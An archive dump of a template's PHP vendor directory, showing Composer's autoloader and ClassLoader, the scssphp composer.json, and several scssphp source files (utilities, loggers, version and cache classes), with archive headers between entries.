        'ScssPhp\\ScssPhp\\Colors' => __DIR__ . '/..' . '/scssphp/scssphp/src/Colors.php',
        'ScssPhp\\ScssPhp\\CompilationResult' => __DIR__ . '/..' . '/scssphp/scssphp/src/CompilationResult.php',
        'ScssPhp\\ScssPhp\\Compiler' => __DIR__ . '/..' . '/scssphp/scssphp/src/Compiler.php',
        'ScssPhp\\ScssPhp\\Compiler\\CachedResult' => __DIR__ . '/..' . '/scssphp/scssphp/src/Compiler/CachedResult.php',
        'ScssPhp\\ScssPhp\\Compiler\\Environment' => __DIR__ . '/..' . '/scssphp/scssphp/src/Compiler/Environment.php',
        'ScssPhp\\ScssPhp\\Exception\\CompilerException' => __DIR__ . '/..' . '/scssphp/scssphp/src/Exception/CompilerException.php',
        'ScssPhp\\ScssPhp\\Exception\\ParserException' => __DIR__ . '/..' . '/scssphp/scssphp/src/Exception/ParserException.php',
        'ScssPhp\\ScssPhp\\Exception\\RangeException' => __DIR__ . '/..' . '/scssphp/scssphp/src/Exception/RangeException.php',
        'ScssPhp\\ScssPhp\\Exception\\SassException' => __DIR__ . '/..' . '/scssphp/scssphp/src/Exception/SassException.php',
        'ScssPhp\\ScssPhp\\Exception\\SassScriptException' => __DIR__ . '/..' . '/scssphp/scssphp/src/Exception/SassScriptException.php',
        'ScssPhp\\ScssPhp\\Exception\\ServerException' => __DIR__ . '/..' . '/scssphp/scssphp/src/Exception/ServerException.php',
        'ScssPhp\\ScssPhp\\Formatter' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter.php',
        'ScssPhp\\ScssPhp\\Formatter\\Compact' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/Compact.php',
        'ScssPhp\\ScssPhp\\Formatter\\Compressed' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/Compressed.php',
        'ScssPhp\\ScssPhp\\Formatter\\Crunched' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/Crunched.php',
        'ScssPhp\\ScssPhp\\Formatter\\Debug' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/Debug.php',
        'ScssPhp\\ScssPhp\\Formatter\\Expanded' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/Expanded.php',
        'ScssPhp\\ScssPhp\\Formatter\\Nested' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/Nested.php',
        'ScssPhp\\ScssPhp\\Formatter\\OutputBlock' => __DIR__ . '/..' . '/scssphp/scssphp/src/Formatter/OutputBlock.php',
        'ScssPhp\\ScssPhp\\Logger\\LoggerInterface' => __DIR__ . '/..' . '/scssphp/scssphp/src/Logger/LoggerInterface.php',
        'ScssPhp\\ScssPhp\\Logger\\QuietLogger' => __DIR__ . '/..' . '/scssphp/scssphp/src/Logger/QuietLogger.php',
        'ScssPhp\\ScssPhp\\Logger\\StreamLogger' => __DIR__ . '/..' . '/scssphp/scssphp/src/Logger/StreamLogger.php',
        'ScssPhp\\ScssPhp\\Node' => __DIR__ . '/..' . '/scssphp/scssphp/src/Node.php',
        'ScssPhp\\ScssPhp\\Node\\Number' => __DIR__ . '/..' . '/scssphp/scssphp/src/Node/Number.php',
        'ScssPhp\\ScssPhp\\OutputStyle' => __DIR__ . '/..' . '/scssphp/scssphp/src/OutputStyle.php',
        'ScssPhp\\ScssPhp\\Parser' => __DIR__ . '/..' . '/scssphp/scssphp/src/Parser.php',
        'ScssPhp\\ScssPhp\\SourceMap\\Base64' => __DIR__ . '/..' . '/scssphp/scssphp/src/SourceMap/Base64.php',
        'ScssPhp\\ScssPhp\\SourceMap\\Base64VLQ' => __DIR__ . '/..' . '/scssphp/scssphp/src/SourceMap/Base64VLQ.php',
        'ScssPhp\\ScssPhp\\SourceMap\\SourceMapGenerator' => __DIR__ . '/..' . '/scssphp/scssphp/src/SourceMap/SourceMapGenerator.php',
        'ScssPhp\\ScssPhp\\Type' => __DIR__ . '/..' . '/scssphp/scssphp/src/Type.php',
        'ScssPhp\\ScssPhp\\Util' => __DIR__ . '/..' . '/scssphp/scssphp/src/Util.php',
        'ScssPhp\\ScssPhp\\Util\\Path' => __DIR__ . '/..' . '/scssphp/scssphp/src/Util/Path.php',
        'ScssPhp\\ScssPhp\\ValueConverter' => __DIR__ . '/..' . '/scssphp/scssphp/src/ValueConverter.php',
        'ScssPhp\\ScssPhp\\Version' => __DIR__ . '/..' . '/scssphp/scssphp/src/Version.php',
        'ScssPhp\\ScssPhp\\Warn' => __DIR__ . '/..' . '/scssphp/scssphp/src/Warn.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit03de505cc53b36971260b46d9d0f25c6::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit03de505cc53b36971260b46d9d0f25c6::$prefixDirsPsr4;
            $loader->prefixesPsr0 = ComposerStaticInit03de505cc53b36971260b46d9d0f25c6::$prefixesPsr0;
            $loader->classMap = ComposerStaticInit03de505cc53b36971260b46d9d0f25c6::$classMap;

        }, null, ClassLoader::class);
    }
}
PK!�3ii/helixultimate/vendor/composer/autoload_real.phpnu&1i�<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit03de505cc53b36971260b46d9d0f25c6
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(array('ComposerAutoloaderInit03de505cc53b36971260b46d9d0f25c6', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__)));
        spl_autoload_unregister(array('ComposerAutoloaderInit03de505cc53b36971260b46d9d0f25c6', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit03de505cc53b36971260b46d9d0f25c6::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        return $loader;
    }
}
PK!4�)�88-helixultimate/vendor/composer/ClassLoader.phpnu&1i�<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    private $vendorDir;

    // PSR-4
    private $prefixLengthsPsr4 = array();
    private $prefixDirsPsr4 = array();
    private $fallbackDirsPsr4 = array();

    // PSR-0
    private $prefixesPsr0 = array();
    private $fallbackDirsPsr0 = array();

    private $useIncludePath = false;
    private $classMap = array();
    private $classMapAuthoritative = false;
    private $missingClasses = array();
    private $apcuPrefix;

    private static $registeredLoaders = array();

    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
    }

    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array $classMap Class to filename map
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string       $prefix  The prefix
     * @param array|string $paths   The PSR-0 root directories
     * @param bool         $prepend Whether to prepend the directories
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string       $prefix  The prefix/namespace, with trailing '\\'
     * @param array|string $paths   The PSR-4 base directories
     * @param bool         $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string       $prefix The prefix
     * @param array|string $paths  The PSR-0 base directories
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string       $prefix The prefix/namespace, with trailing '\\'
     * @param array|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            //no-op
        } elseif ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return bool|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders indexed by their corresponding vendor directories.
     *
     * @return self[]
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
    include $file;
}
PK!= =���2helixultimate/vendor/scssphp/scssphp/composer.jsonnu&1i�{
    "name": "scssphp/scssphp",
    "type": "library",
    "description": "scssphp is a compiler for SCSS written in PHP.",
    "keywords": ["css", "stylesheet", "scss", "sass", "less"],
    "homepage": "http://scssphp.github.io/scssphp/",
    "license": [
        "MIT"
    ],
    "authors": [
        {
            "name": "Anthon Pang",
            "email": "apang@softwaredevelopment.ca",
            "homepage": "https://github.com/robocoder"
        },
        {
            "name": "Cédric Morin",
            "email": "cedric@yterium.com",
            "homepage": "https://github.com/Cerdic"
        }
    ],
    "autoload": {
        "psr-4": { "ScssPhp\\ScssPhp\\": "src/" }
    },
    "autoload-dev": {
        "psr-4": { "ScssPhp\\ScssPhp\\Tests\\": "tests/" }
    },
    "require": {
        "php": ">=5.6.0",
        "ext-json": "*",
        "ext-ctype": "*"
    },
    "suggest": {
        "ext-mbstring": "For best performance, mbstring should be installed as it is faster than ext-iconv",
        "ext-iconv": "Can be used as fallback when ext-mbstring is not available"
    },
    "require-dev": {
        "bamarni/composer-bin-plugin": "^1.4",
        "phpunit/phpunit": "^5.7 || ^6.5 || ^7.5 || ^8.3 || ^9.4",
        "sass/sass-spec": "*",
        "squizlabs/php_codesniffer": "~3.5",
        "symfony/phpunit-bridge": "^5.1",
        "twbs/bootstrap": "~5.0",
        "twbs/bootstrap4": "4.6.0",
        "zurb/foundation": "~6.5"
    },
    "repositories": [
        {
            "type": "package",
            "package": {
                "name": "sass/sass-spec",
                "version": "2021.06.30",
                "source": {
                    "type": "git",
                    "url": "https://github.com/sass/sass-spec.git",
                    "reference": "e348959657f1e274cef658283436a311a925a673"
                },
                "dist": {
                    "type": "zip",
                    "url": "https://api.github.com/repos/sass/sass-spec/zipball/e348959657f1e274cef658283436a311a925a673",
                    "reference": "e348959657f1e274cef658283436a311a925a673",
                    "shasum": ""
                }
            }
        },
        {
            "type": "package",
            "package": {
                "name": "twbs/bootstrap4",
                "version": "v4.6.0",
                "source": {
                    "type": "git",
                    "url": "https://github.com/twbs/bootstrap.git",
                    "reference": "6ffb0b48e455430f8a5359ed689ad64c1143fac2"
                },
                "dist": {
                    "type": "zip",
                    "url": "https://api.github.com/repos/twbs/bootstrap/zipball/6ffb0b48e455430f8a5359ed689ad64c1143fac2",
                    "reference": "6ffb0b48e455430f8a5359ed689ad64c1143fac2",
                    "shasum": ""
                }
            }
        }
    ],
    "bin": ["bin/pscss"],
    "config": {
        "sort-packages": true
    }
}
PK!
l�vv7helixultimate/vendor/scssphp/scssphp/src/Base/Range.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2015-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Base;

/**
 * Range
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class Range
{
    /**
     * @var float|int
     */
    public $first;

    /**
     * @var float|int
     */
    public $last;

    /**
     * Initialize range
     *
     * @param integer|float $first
     * @param integer|float $last
     */
    public function __construct($first, $last)
    {
        $this->first = $first;
        $this->last = $last;
    }

    /**
     * Test for inclusion in range
     *
     * @param integer|float $value
     *
     * @return boolean
     */
    public function includes($value)
    {
        return $value >= $this->first && $value <= $this->last;
    }
}
PK!&�1helixultimate/vendor/scssphp/scssphp/src/Util.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

use ScssPhp\ScssPhp\Base\Range;
use ScssPhp\ScssPhp\Exception\RangeException;
use ScssPhp\ScssPhp\Node\Number;

/**
 * Utility functions
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class Util
{
    /**
     * Asserts that `value` falls within `range` (inclusive), leaving
     * room for slight floating-point errors.
     *
     * @param string       $name  The name of the value. Used in the error message.
     * @param Range        $range Range of values.
     * @param array|Number $value The value to check.
     * @param string       $unit  The unit of the value. Used in error reporting.
     *
     * @return mixed `value` adjusted to fall within range, if it was outside by a floating-point margin.
     *
     * @throws \ScssPhp\ScssPhp\Exception\RangeException
     */
    public static function checkRange($name, Range $range, $value, $unit = '')
    {
        $val = $value[1];
        $grace = new Range(-0.00001, 0.00001);

        if (! \is_numeric($val)) {
            throw new RangeException("$name {$val} is not a number.");
        }

        if ($range->includes($val)) {
            return $val;
        }

        if ($grace->includes($val - $range->first)) {
            return $range->first;
        }

        if ($grace->includes($val - $range->last)) {
            return $range->last;
        }

        throw new RangeException("$name {$val} must be between {$range->first} and {$range->last}$unit");
    }

    /**
     * Encode URI component
     *
     * @param string $string
     *
     * @return string
     */
    public static function encodeURIComponent($string)
    {
        $revert = ['%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')'];

        return strtr(rawurlencode($string), $revert);
    }

    /**
     * mb_chr() wrapper
     *
     * @param integer $code
     *
     * @return string
     */
    public static function mbChr($code)
    {
        // Use the native implementation if available, but not on PHP 7.2 as mb_chr(0) is buggy there
        if (\PHP_VERSION_ID > 70300 && \function_exists('mb_chr')) {
            return mb_chr($code, 'UTF-8');
        }

        if (0x80 > $code %= 0x200000) {
            $s = \chr($code);
        } elseif (0x800 > $code) {
            $s = \chr(0xC0 | $code >> 6) . \chr(0x80 | $code & 0x3F);
        } elseif (0x10000 > $code) {
            $s = \chr(0xE0 | $code >> 12) . \chr(0x80 | $code >> 6 & 0x3F) . \chr(0x80 | $code & 0x3F);
        } else {
            $s = \chr(0xF0 | $code >> 18) . \chr(0x80 | $code >> 12 & 0x3F)
                . \chr(0x80 | $code >> 6 & 0x3F) . \chr(0x80 | $code & 0x3F);
        }

        return $s;
    }

    /**
     * mb_strlen() wrapper
     *
     * @param string $string
     * @return int
     */
    public static function mbStrlen($string)
    {
        // Use the native implementation if available.
        if (\function_exists('mb_strlen')) {
            return mb_strlen($string, 'UTF-8');
        }

        if (\function_exists('iconv_strlen')) {
            return (int) @iconv_strlen($string, 'UTF-8');
        }

        throw new \LogicException('Either mbstring (recommended) or iconv is necessary to use Scssphp.');
    }

    /**
     * mb_substr() wrapper
     * @param string $string
     * @param int $start
     * @param null|int $length
     * @return string
     */
    public static function mbSubstr($string, $start, $length = null)
    {
        // Use the native implementation if available.
        if (\function_exists('mb_substr')) {
            return mb_substr($string, $start, $length, 'UTF-8');
        }

        if (\function_exists('iconv_substr')) {
            if ($start < 0) {
                $start = static::mbStrlen($string) + $start;
                if ($start < 0) {
                    $start = 0;
                }
            }

            if (null === $length) {
                $length = 2147483647;
            } elseif ($length < 0) {
                $length = static::mbStrlen($string) + $length - $start;
                if ($length < 0) {
                    return '';
                }
            }

            return (string)iconv_substr($string, $start, $length, 'UTF-8');
        }

        throw new \LogicException('Either mbstring (recommended) or iconv is necessary to use Scssphp.');
    }

    /**
     * mb_strpos wrapper
     * @param string $haystack
     * @param string $needle
     * @param int $offset
     *
     * @return int|false
     */
    public static function mbStrpos($haystack, $needle, $offset = 0)
    {
        if (\function_exists('mb_strpos')) {
            return mb_strpos($haystack, $needle, $offset, 'UTF-8');
        }

        if (\function_exists('iconv_strpos')) {
            return iconv_strpos($haystack, $needle, $offset, 'UTF-8');
        }

        throw new \LogicException('Either mbstring (recommended) or iconv is necessary to use Scssphp.');
    }
}
PK!d�x��@helixultimate/vendor/scssphp/scssphp/src/Logger/StreamLogger.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Logger;

/**
 * A logger that prints to a PHP stream (for instance stderr)
 */
class StreamLogger implements LoggerInterface
{
    private $stream;
    private $closeOnDestruct;

    /**
     * @param resource $stream          A stream resource
     * @param bool     $closeOnDestruct If true, takes ownership of the stream and close it on destruct to avoid leaks.
     */
    public function __construct($stream, $closeOnDestruct = false)
    {
        $this->stream = $stream;
        $this->closeOnDestruct = $closeOnDestruct;
    }

    /**
     * @internal
     */
    public function __destruct()
    {
        if ($this->closeOnDestruct) {
            fclose($this->stream);
        }
    }

    /**
     * @inheritDoc
     */
    public function warn($message, $deprecation = false)
    {
        $prefix = ($deprecation ? 'DEPRECATION ' : '') . 'WARNING: ';

        fwrite($this->stream, $prefix . $message . "\n\n");
    }

    /**
     * @inheritDoc
     */
    public function debug($message)
    {
        fwrite($this->stream, $message . "\n");
    }
}
PK!=&l}��?helixultimate/vendor/scssphp/scssphp/src/Logger/QuietLogger.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Logger;

/**
 * A logger that silently ignores all messages.
 */
class QuietLogger implements LoggerInterface
{
    public function warn($message, $deprecation = false)
    {
    }

    public function debug($message)
    {
    }
}
PK!B�|uuChelixultimate/vendor/scssphp/scssphp/src/Logger/LoggerInterface.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Logger;

/**
 * Interface implemented by loggers for warnings and debug messages.
 *
 * The official Sass implementation recommends that loggers report the
 * messages immediately rather than waiting for the end of the
 * compilation, to provide a better debugging experience when the
 * compilation does not end (error or infinite loop after the warning
 * for instance).
 */
interface LoggerInterface
{
    /**
     * Emits a warning with the given message.
     *
     * If $deprecation is true, it indicates that this is a deprecation
     * warning. Implementations should surface all this information to
     * the end user.
     *
     * @param string $message
     * @param bool  $deprecation
     *
     * @return void
     */
    public function warn($message, $deprecation = false);

    /**
     * Emits a debugging message.
     *
     * @param string $message
     *
     * @return void
     */
    public function debug($message);
}
PK!W��V<<4helixultimate/vendor/scssphp/scssphp/src/Version.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

/**
 * SCSSPHP version
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 */
class Version
{
    const VERSION = '1.6.0';
}
PK!R߅B��2helixultimate/vendor/scssphp/scssphp/src/Cache.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

use Exception;
use ScssPhp\ScssPhp\Version;

/**
 * The scss cache manager.
 *
 * In short:
 *
 * allow to put in cache/get from cache a generic result from a known operation on a generic dataset,
 * taking in account options that affects the result
 *
 * The cache manager is agnostic about data format and only the operation is expected to be described by string
 */

/**
 * SCSS cache
 *
 * @author Cedric Morin <cedric@yterium.com>
 *
 * @internal
 */
class Cache
{
    const CACHE_VERSION = 1;

    /**
     * directory used for storing data
     *
     * @var string|false
     */
    public static $cacheDir = false;

    /**
     * prefix for the storing data
     *
     * @var string
     */
    public static $prefix = 'scssphp_';

    /**
     * force a refresh : 'once' for refreshing the first hit on a cache only, true to never use the cache in this hit
     *
     * @var bool|string
     */
    public static $forceRefresh = false;

    /**
     * specifies the number of seconds after which data cached will be seen as 'garbage' and potentially cleaned up
     *
     * @var int
     */
    public static $gcLifetime = 604800;

    /**
     * array of already refreshed cache if $forceRefresh==='once'
     *
     * @var array<string, bool>
     */
    protected static $refreshed = [];

    /**
     * Constructor
     *
     * @param array $options
     *
     * @phpstan-param array{cacheDir?: string, prefix?: string, forceRefresh?: string} $options
     */
    public function __construct($options)
    {
        // check $cacheDir
        if (isset($options['cacheDir'])) {
            self::$cacheDir = $options['cacheDir'];
        }

        if (empty(self::$cacheDir)) {
            throw new Exception('cacheDir not set');
        }

        if (isset($options['prefix'])) {
            self::$prefix = $options['prefix'];
        }

        if (empty(self::$prefix)) {
            throw new Exception('prefix not set');
        }

        if (isset($options['forceRefresh'])) {
